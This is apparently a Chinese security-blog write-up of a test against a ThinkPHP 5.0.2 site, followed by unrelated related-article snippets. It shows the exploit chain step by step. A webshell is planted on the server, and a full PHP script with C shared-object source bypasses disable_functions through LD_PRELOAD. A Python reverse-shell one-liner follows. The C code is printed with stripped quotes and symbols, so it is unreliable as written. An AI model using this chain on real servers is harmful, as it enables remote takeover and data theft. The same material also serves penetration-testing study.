一次ThinkPHP引发的bypass

访客4年前黑客工具737

一次授权测试中,发现网站是ThinkPHP 5.0.2搭建的

1604458477_5fa217ed27373eb586a41.png!small

漏洞存在ThinkPHP 5.0.2 命令执行

1604458490_5fa217fa3523f087fab75.png!small

尝试写入冰蝎3.0的马

1604458523_5fa2181b8e2047b3cceff.png!small

汰,写入报错发现是&的问题。将&url编码。再次尝试

1604458536_5fa21828a80c39350ea36.png!small

链接失败。

经过本地尝试,发现是+的问题,再写入后,将+变为了空格。将其url编码,再次写入

链接发现失败,继续肝。

1604458548_5fa21834358120b746ab3.png!small

除了写入,还可以使用PHP中的copy函数,在vps上开启服务,将vps的马子,直接下载至目标服务器上

1604458562_5fa21842d682aa1f9528f.png!small

链接成功,接下来肯定是whoami一下。

1604458570_5fa2184ad1f42716c4b2a.png!small

查看disable_functions,发现是可爱的宝塔禁用了passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

还有啥是宝塔不能禁的。。。还能怎么办,接着肝,在网上学习了大佬的帖子

https://www.meetsec.cn/index.php/archives/44/

尝试利用LD_PRELOAD绕过disable_functions

直接上代码

bypass_disablefunc.php

<?php

echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd=$_GET["cmd"];

$out_path=$_GET["outpath"];

$evil_cmdline=$cmd . " > " . $out_path . " 2>&1";

echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path=$_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);

?>

bypass_disablefunc.c

#define _GNU_SOURCE

#include stdlib.h

#include stdio.h

#include string.h

extern char environ;

__attribute__ ((__constructor__)) void preload (void)

{

get command line options and arg

const char cmdline=getenv(EVIL_CMDLINE);

unset environment variable LD_PRELOAD.

unsetenv(LD_PRELOAD) no effect on some

distribution (e.g., centos), I need crafty trick.

int i;

for (i=0; environ[i]; ++i) {

if (strstr(environ[i], LD_PRELOAD)) {

environ[i][0]='0';

}

}

executive command

system(cmdline);

}

用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

通过冰蝎上传,然后测试效果:

1604458584_5fa21858db59841c56770.png!small

命令执行成功。Nc反弹shell

1604458595_5fa21863720f53b188727.png!small

提示没有-e的参数,直接使用python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

1604458607_5fa2186faee6d33d8550b.png!small

反弹成功

总结:这次的测试,写入冰蝎的过程要注意编码问题。然后就是利用LD_PRELOAD绕过disable_functions

相关文章

网上黑客追款骗局有哪些「网上赌的钱怎么追回来」

原标题:有一种神秘职业,叫专业追款黑客 被网络诈骗了怎么办?这是之前提出的问题。有人选择报警,有人选择花钱买教训。还有一种人,选择自己找“野路子”试图追回被骗的钱。于是,有一种专业追款的黑客出现在各...

黑客追踪电脑(黑客追踪定位)

黑客追踪电脑(黑客追踪定位)

别人如何监控我的电脑 1、除了使用鼠标和键盘对远程电脑进行操作,您还可以使用这些功能键实现其他额外的功能。固定/浮动功能条。设置菜单栏是否隐藏至控制界面顶端。文件传输。硬盘资源共享,可以进行上传、下载...

《先生们请立正》三亚杀青 众星云集星光璀璨

一颗颗初心,一份份坚守,3座城市,118个日夜,现代都市剧《先生们请立正》终于在三亚迎来了杀青。张翰首次集制作人、编剧、主演为一身,演员阵容之强大令人惊叹! 主演阵容不...

吊锅菜是什么菜(吊锅菜是哪个地方的菜)

吊锅菜是什么菜(吊锅菜是哪个地方的菜)

吊锅,顾名思义,这是一样和“吊”有关的菜。菜经过炒制,将有铁绊的铁锅套在挂勾上,盖着火苗。那么吊锅是哪里的特色菜?吊锅是什么菜系? 吊锅是一种很有特色的菜品,很适合冬天吃,味道也是非常好的,下面小编...

林勇黑客上市公司(林勇黑客上市公司是哪家)

林勇黑客上市公司(林勇黑客上市公司是哪家)

全球6大黑客,中国占几个? 1、世界黑客排名是:凯文·米特尼克、丹尼斯、李纳斯、沃兹尼亚克、汤普生、理查德、德拉浦。凯文·米特尼克 他是第一个在美国联邦调查局悬赏捉拿海报上露面的黑客。2、中国的黑客人...

黑客帝国人造胚胎(黑客帝国机器人制造人类)

黑客帝国人造胚胎(黑客帝国机器人制造人类)

本文导读目录: 1、人造“人类胚胎实验”成功,为何没人站出来制止? 2、求一部电影名,主角受人之邀,去毁灭来到另一个被人造用来发电的世界。 3、关于电影黑客帝国的疑问。 4、黑客帝国是讲什...